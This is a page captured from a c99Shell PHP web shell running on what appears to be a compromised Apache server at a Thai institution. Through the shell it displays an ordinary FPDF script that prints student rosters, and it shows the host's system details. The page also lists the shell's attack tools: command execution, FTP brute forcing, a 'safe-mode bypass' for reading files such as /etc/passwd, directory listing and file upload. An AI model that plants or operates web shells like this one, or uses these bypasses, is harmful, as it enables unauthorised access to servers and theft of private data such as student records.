!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis108PDF.php (4.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
define
('FPDF_FONTPATH',$this->config->item('path_application').'/font/');

class 
PDF extends FPDF {
    var 
$cfgClgLogo;
    var 
$cfgClgName;
    var 
$cfgSiteName;

    
//Page header
    
function Header() {
        
//Logo
        
$this->Image($this->cfgClgLogo,10,6,18,15);
        
//AngsanaNew bold 15
        
$this->SetFont('AngsanaNew','B',15);
        
//Move to the right
        
$this->SetY(10);
        
$this->SetX(30);
        
//Title
        
$this->Cell(0,0,$this->cfgClgName,0,0,'L');
        
$this->SetX(-10);
        
$this->SetFontSize(12);
        
$this->Cell(0,0,'RIS108',0,0,'R');
        
$this->Ln(7);
        
$this->SetX(30);
        
$this->SetFontSize(15);
        
$this->Cell(0,0,$this->cfgSiteName,0,0,'L');
        
//Draw line
        
$this->SetLineWidth(0.4);
        
$this->Line(10,22,290,22);
    }

    
//Page footer
    
function Footer() {
        
//Draw line
        
$this->SetLineWidth(0.4);
        
$this->Line(10,196,290,196);
        
$this->SetY(-10);
        
$this->SetFont('AngsanaNew','',14);
        
//Page number
        
$this->Cell(0,0,'หน้า '.$this->PageNo().'/{nb}',0,0,'R');
        
$this->SetY(-10);
        
$this->Cell(0,0,'วันที่พิมพ์ : '.date("d/m/y H:i"),0,0,'L');
    }
//End class

//Create new pdf file
$pdf=new PDF('L');
$pdf->cfgClgLogo $this->config->item('rg_upload_picture').$cfgClgLogo;
$pdf->cfgClgName iconv('UTF-8','TIS-620',$cfgClgName);
$pdf->cfgSiteName iconv('UTF-8','TIS-620',$cfgSiteName);

//Set thai font
$pdf->SetThaiFont();

$pdf->AliasNbPages();

//Open file
$pdf->Open();

//Disable automatic page break
$pdf->SetAutoPageBreak(false);

//Add first page
$pdf->AddPage();

//set initial y axis position per page
$y_axis_initial 47;

//set initial x axis position of table
$x_axis_initial 20;

//Set Row Height
$row_height 6;

//initialize counter
$i 0;
$r 1;

//Set maximum rows per page
$max 20;

if(
$qu_cur->num_rows()) { 
        
$row $qu_cur->row(); 
        
$curName $row->curName
        
$levelName $row->levelName
}else 
$curName $levelName ""

if(
$rs_std->num_rows()) { 
        
$row $rs_std->row(); 
        
$genNo $row->genNo
}else 
$genNo ""

if(
$qu_tmc->num_rows()) { 
    
$row $qu_tmc->row(); 
    
$tmcStr $row->tmcTmId.'/'.$row->tmcAcY;
}else 
$tmcStr "";

if(
$rs_std->num_rows()) {
    foreach(
$rs_std->result() as $row) {

        
//If the current row is the last one, create new page and print column title
        
if ($i == $max) {
            
//Set $i variable to 0 (first row)
            
$i 0;

            
$pdf->AddPage();
        }
    
        if(
$i == 0) {
            
$pdf->SetFont('AngsanaNew','B',18);
            
$pdf->SetX(105);
            
$pdf->SetY(27);
            
$pdf->Cell(0,0,'รายชื่อนักศึกษาจำแนกตามหลักสูตร',0,0,'C');
            
$pdf->Ln(7);
            
$pdf->SetFontSize(16);
            
$pdf->Cell(0,0,'หลักสูตร '.explodeSquare(iconv('UTF-8','TIS-620',$curName)).'  ระดับ '.iconv('UTF-8','TIS-620',$levelName).'  รุ่นที่ '.iconv('UTF-8','TIS-620',$genNo),0,0,'C');
            
$pdf->Ln(7);
            
$pdf->Cell(0,0,'ชั้นปีที่ '.iconv('UTF-8','TIS-620',$syId).'  ภาคการศึกษาที่ '.iconv('UTF-8','TIS-620',$tmcStr),0,0,'C');

            
//print column titles for the actual page
            
$pdf->SetFillColor(232,232,232);
            
$pdf->SetFontSize(14);
            
$pdf->SetY($y_axis_initial);
            
$pdf->SetX($x_axis_initial);
            
$pdf->Cell(5,6,'ที่',1,0,'C',1);
            
$pdf->Cell(20,6,'รหัสนักศึกษา',1,0,'C',1);
            
$pdf->Cell(50,6,'ชื่อ - สกุล',1,0,'C',1);
            
$pdf->Cell(85,6,'เจ้าของทุน',1,0,'C',1);
            
$pdf->Cell(35,6,'จังหวัด',1,0,'C',1);
            
$pdf->Cell(33,6,'ประเภททุน',1,0,'C',1);
            
$pdf->Cell(20,6,'หมายเหตุ',1,0,'C',1);

            
$y_axis $y_axis_initial $row_height;
        }

        
$pdf->SetFont('AngsanaNew','',14);
        
$pdf->SetY($y_axis);
        
$pdf->SetX($x_axis_initial);
        
$pdf->Cell(5,6,$r,1,0,'C');
        
$pdf->Cell(20,6,iconv('UTF-8','TIS-620',$row->stdCode),1,0,'C');
        
$pdf->Cell(50,6,iconv('UTF-8','TIS-620',$row->prefixName.$row->stdName.' '.$row->stdSurname),1,0,'L');
        
$pdf->Cell(85,6,iconv('UTF-8','TIS-620',$row->soName),1,0,'L');
        
$pdf->Cell(35,6,iconv('UTF-8','TIS-620',$row->provinceName),1,0,'L');
        
$pdf->Cell(33,6,iconv('UTF-8','TIS-620',$row->etName),1,0,'L');
        
$pdf->Cell(20,6,'',1,0,'L');

        
//Go to next row
        
$y_axis $y_axis $row_height;
        
$i $i 1;
        
$r $r 1;
        } 
//End foreach($rs_std->result() as $row)
        
        
$pdf->Output();
    
    } 
//End if($rs_std->num_rows())
    
else{
        
$pdf->SetFont('AngsanaNew','B',18);
        
$pdf->SetY(27);
        
$pdf->Cell(0,0,'ไม่มีข้อมูล...',0,0,'C');
        
$pdf->Output();
    }
    
    
$pdf->Output();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--